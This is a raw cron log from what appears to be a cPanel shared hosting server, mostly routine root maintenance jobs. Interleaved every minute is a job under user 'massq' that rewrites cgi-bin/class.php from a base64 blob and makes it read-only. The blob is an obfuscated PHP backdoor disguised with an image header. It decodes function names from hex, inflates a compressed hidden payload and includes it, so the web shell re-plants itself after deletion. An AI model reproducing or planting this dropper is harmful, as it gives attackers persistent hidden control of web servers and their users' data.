Sep  7 12:08:01 server CROND[14341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:08:01 server CROND[14340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:08:01 server CROND[14342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:09:01 server CROND[14724]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 12:09:01 server CROND[14725]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:09:01 server CROND[14727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:09:01 server CROND[14726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:10:01 server CROND[15158]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:10:01 server CROND[15159]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 12:10:01 server CROND[15165]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:10:01 server CROND[15177]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:10:01 server CROND[15180]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:10:01 server CROND[15179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:10:01 server CROND[15178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:10:01 server CROND[15181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:11:01 server CROND[16008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:11:01 server CROND[16010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:11:01 server CROND[16011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:12:01 server CROND[16484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:12:01 server CROND[16485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:12:01 server CROND[16486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:12:01 server CROND[16487]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 12:13:01 server CROND[16872]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:13:01 server CROND[16871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:13:01 server CROND[16873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:14:01 server CROND[17250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:14:01 server CROND[17251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:14:01 server CROND[17252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:15:01 server CROND[17650]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:15:01 server CROND[17652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:15:01 server CROND[17653]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:15:01 server CROND[17656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:15:01 server CROND[17659]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  7 12:15:01 server CROND[17671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:15:01 server CROND[17668]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 12:15:01 server CROND[17672]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:15:01 server CROND[17670]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 12:15:01 server CROND[17673]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:16:01 server CROND[18562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:16:01 server CROND[18563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:16:01 server CROND[18561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:17:01 server CROND[18992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:17:01 server CROND[18994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:17:01 server CROND[18995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:18:01 server CROND[19511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:18:01 server CROND[19512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:18:01 server CROND[19513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:19:01 server CROND[19898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:19:01 server CROND[19899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:19:01 server CROND[19900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:20:01 server CROND[20285]: (root) CMD (/usr/lib64/sa/sa1 1 1)
